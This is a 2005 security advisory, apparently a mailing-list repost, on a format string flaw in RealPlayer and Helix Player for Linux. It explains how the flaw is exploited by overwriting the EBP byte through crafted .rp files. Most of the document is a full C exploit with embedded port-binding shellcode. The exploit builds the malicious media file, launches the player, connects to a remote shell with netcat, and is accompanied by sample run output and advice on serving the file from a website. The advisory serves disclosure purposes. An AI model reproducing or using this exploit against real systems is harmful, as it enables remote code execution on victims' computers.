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Realplayer/Helixplayer Format String Paper
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SUMMARY
"The Helix Player is an open source media player for Linux, Solaris
(versions for other operating systems are under development) and Symbian."
"RealPlayer 10 for Linux is based on the open source Helix player."
HelixPlayer based players are vulnerable to format string attack which in
turn allows attackers to execute arbitrary code on the system running the
player.
DETAILS
Vulnerable Systems:
* Helix Player 1.0.5 and prior
A format string vulnerability exists in Helix Media Player suit that allow
an attacker the possibility to execute malicious code on a victims
computer.
The bug is exploitable by abusing media, including .rp (relpix)and .rt
(realtext) file formats.
Almost all media file input is placed on the heap, so it's not possible to
just pop our way to a supplied string like with a normal stack based
format bug, as such the attacker can't modify directly GOT, DTORS flags,
leaving limited to what the attacker can do.
There are several places where attackers can control the flow of
execution:
popN - call *0x04(eax) - eax is controlled
popN+N - call *0x20(eax) - eax is controlled
popN+NN - call *0x100(edx) - edx is controlled
popN+NNN - ebp - ebp is controlled
popN+NNNN - eip - eip is controlled
...
However since attackers are limited to the size of the value that can be
written, it doesn't seem possible to point at a known good location
directly. An attacker's shellcode is always mapped via the .rp file
between 0x0822** - 0x082f** and with control of one pointer at a time
usually, the attackers can not reach LSB.
The file being played is under my control and only the MSB needs
overwritten. This solves the problem with the size of the value an
attacker can write. It is possible to modify the MSB of an EBP that is
reachable, eventually leading to EIP pointing at some good location after
"mov %ebp,%esp" happens, resulting in the execution of our shellcode.
Proof of Concept:
1. Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
2. Overwrite EBP MSB with the address of the file location on the stack
3. EBP is moved to ESP
4. EIP is changed to ESP value
5. EIP is owned, shell is spawned
Window 1:
c0ntex at debauch:~$ netstat -an --ip
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 192.168.88.133:22 192.168.88.1:2080 ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
c0ntex at debauch:~$ ./helix4real
Exploit:
/*
*************************************************
$ An open security advisory #13 - RealPlayer and Helix Player Remote
Format String Exploit
*************************************************
1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
2: Bug Released: September 26th 2005
3: Bug Impact Rate: Hi
4: Bug Scope Rate: Remote
*************************************************
$ This advisory and/or proof of concept code must not be used for
commercial gain.
*************************************************
UNIX RealPlayer && Helix Player
http://real.com
http://helixcommunity.org
"The Helix Player is the Helix Community's open source media player
for consumers. It is being developed to have a rich and usable
graphical interface and support a variety of open media formats like
Ogg Vorbis, Theora etc.
The RealPlayer for Linux is built on top of the Helix Player for Linux
and includes support for several non-open source components including
RealAudio/RealVideo, MP3 etc."
There is a remotly exploitable format string vulnerability in the
latest Helix Media Player suit that will allow an attacker the
possibility to execute malicious code on a victims computer. The
exploit code will execute a remote shell under the permissions of the
user running the media player, and effects all versions of RealPlayer
and Helix Player.
The bug is exploitable by abusing media, including .rp (relpix)and .rt
(realtext) file formats. Although others may be effected I stick to
realpix file format for this advisory.
Almost all media file input is placed on the heap, so it's not
possible to just pop our way to a supplied string like with a normal
stack based format bug, as such we can't directly modify GOT, DTORS,
etc. leaving us limited to what we can do.
There are several places where we can control the flow of execution:
popN - call *0x04(eax) - eax is controlled
popN+N - call *0x20(eax) - eax is controlled
popN+NN - call *0x100(edx) - edx is controlled
popN+NNN - ebp - ebp is controlled
popN+NNNN - eip - eip is controlled
....
however since we are limited to the size of the value that can be
written, it doesn't seem possible to point at a known good location
directly. Since our shellcode is always mapped via the .rp file between
0x0822** - 0x082f** and with control of one pointer at a time usually,
we can not reach the LSB, we are toast.
In a phrack paper, Riq talks about using sections of the base pointer
to create a 4 byte pointer by chaining EBP like so:
[Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]
And can be manipulated something like so:
-------- -------- --------
Frame 10 Frame 11 Frame 12
-------- -------- --------
1|------------\/
[LSBMSB] [LSBMSB]-- [41414141]
2|____________^ 3|__________^
Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it
ends with EIP pointing at 0x00000000.
So what else can I do?
How about use the fact the file being played is under my control and
only the MSB needs overwritten. This solves the problem with the size
of the valaue I can write. It is possible to modify the MSB of an EBP
that is reachable, eventually leading to EIP pointing at some good
location after "mov %ebp,%esp" happens, resulting in the execution of
our shellcode.
1-> Create a file with shellcode address `printf
"\x37\x13\x12\x08"`.rp
2-> Overwrite EBP MSB with the address of the file location on
the stack
3-> EBP is moved to ESP
4-> EIP is changed to ESP value
5-> EIP is owned, shell is spawned
Granted this is not a stable method as the user can freely manipulate
their environment, and we use the file name, which is stored in an
environment variable to trampoline us to the shellcode. However my goal
here is not to create a worm but a proof-of-concept :p
The supplied POC should work flawlessly on Debian 3.1, with RealPlayer
installed in /usr/local/RealPlayer and run as shown below.
Sample local run:
Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold
Window 1:
---------
c0ntex at debauch:~$ netstat -an --ip
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 192.168.88.133:22 192.168.88.1:2080 ESTABLISHED
udp 0 0 0.0.0.0:68 0.0.0.0:*
c0ntex at debauch:~$ ./helix4real
Remote format string exploit POC for UNIX RealPlayer && HelixPlayer
Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version
by c0ntex || c0ntexb at gmail.com || http://www.open-security.org
[-] Creating file [VY~ .rp]
[-] Using [148] stack pops
[-] Modifying EBP MSB with value [64105]
[-] Completed creation of test file!
[-] Executing RealPlayer now...
[-] Connecting to shell in 10 seconds
* YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW *
(realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()
(realplay.bin:22202): Pango-WARNING *: Invalid UTF-8 string passed to
pango_layout_set_text()
ps -ef | tail -12;
...
c0ntex 1631 1624 0 01:10 pts/2 00:00:00 /bin/sh
/usr/bin/realplay ./VYF&(?.rp
c0ntex 1636 1631 4 01:10 pts/2 00:00:02 /bin//sh
c0ntex 1637 1636 0 01:10 pts/2 00:00:00 ? f ? ?\ ? ? .rp
c0ntex 1638 1637 0 01:10 pts/2 00:00:00 ? f ? ?\ ? ? .rp
c0ntex 1639 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
c0ntex 1640 1636 0 01:10 pts/2 00:00:00
/usr/local/RealPlayer/realplay.bin ./VYF&(?.rp
c0ntex 1641 1637 0 01:10 pts/2 00:00:00 ? f ? ?\ ? ? .rp
c0ntex 1642 1637 0 01:10 pts/2 00:00:00 ? f ? ?\ ? ? .rp
c0ntex 1643 1637 0 01:10 pts/2 00:00:00 ? f ? ?\ ? ? .rp
...
To exploit this remotly, a user just needs to place the created file
on a web site and provide a link so users can click the file, launching
RealPlayer and exploiting the vulnerability.
Real have been duely informed about this issue and are fixing. Sadly
though, it seems someone is trying to pinch my research, as such I have
been forced to release this advisory sooner than hoped. Until Real get a
new release out, do not play untrusted media with RealPlayer or
HelixPlayer. Sorry Real.com!
Moral of the story, don't talk about personal research on IRC. Thank
you plagiarizers.
PS: A new RSS feed for the latest 5 Open Security Group Advisories, @
http://www.open-security.org/adv.xml is now available.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFFER 10000
#define EBPMSB 64105
#define HOST "localhost"
#define NETCAT "/bin/nc"
#define NOPS 0x90
#define STACKPOP 148
#define VULN "/usr/local/RealPlayer/realplay"
char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";
/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
"\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
"\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
"\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
"\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
"\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xcd\x80";
int
filegen(char *shellcode)
{
FILE *rp;
printf("[-] Creating file [%s]\n", filename);
rp = fopen(filename, "w");
if(!rp) {
puts("[!] Could not fopen file!");
free(shellcode);
return(EXIT_FAILURE);
}
printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value
[%d]\n", STACKPOP, EBPMSB);
fprintf(rp,
"<imfl>\n"
"<head\n"
"duration=\"1:33.7\"\n"
"timeformat=\"dd:hh:mm:ss.xyz\"\n"
"preroll=\"1:33.7\"\n"
"bitrate=\"1337\"\n"
"width=\"69\"\n"
"height=\"69\"\n"
"aspect=\"\"\n"
"url=\"http://www.open-security.org\"/>\n"
"<image handle=\"%%.%du%%%d$hn\"
name=\"findme%s\"/>\n"
"<fadein start=\"0\" duration=\"0:01\"
target=\"2\"/>\n"
"</imfl>", EBPMSB, STACKPOP, shellcode);
fclose(rp);
free(shellcode); shellcode = NULL;
return(EXIT_SUCCESS);
}
int
main(int argc, char *argv)
{
char *shellcode = NULL;
puts("\nRemote format string exploit POC for UNIX RealPlayer &&
HelixPlayer");
puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest
version");
puts("by c0ntex || c0ntexb at gmail.com ||
http://www.open-security.org\n");
shellcode = (char *)malloc(BUFFER);
if(!shellcode) {
puts("[!] Could not malloc");
return(EXIT_FAILURE);
}
memset(shellcode, NOPS, BUFFER);
memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode,
strlen(hellcode));
shellcode[BUFFER] = '\0';
filegen(shellcode);
puts("[-] Completed creation of test file!\n[-] Executing
RealPlayer now...");
switch(fork()) {
case -1:
puts("[!] Could not fork off, bailing!");
return(EXIT_FAILURE);
case 0:
if(execl(VULN, "realplay", filename, NULL) <0) {
puts("[!] Could not execute realplayer...
:(");
return(EXIT_FAILURE);
}
}
puts("[-] Connecting to shell in 10 seconds\n* YOU MIGHT HAVE TO
HIT RETURN ON REALPLAYER WINDOW *");
sleep(10);
if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
puts("[!] Could not connect, check the core file!");
return(EXIT_FAILURE);
}
return(EXIT_SUCCESS);
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by c0ntex.
The original article can be found at:
<http://pulltheplug.org/pipermail/mantis/2005-September/000035.html>
http://pulltheplug.org/pipermail/mantis/2005-September/000035.html
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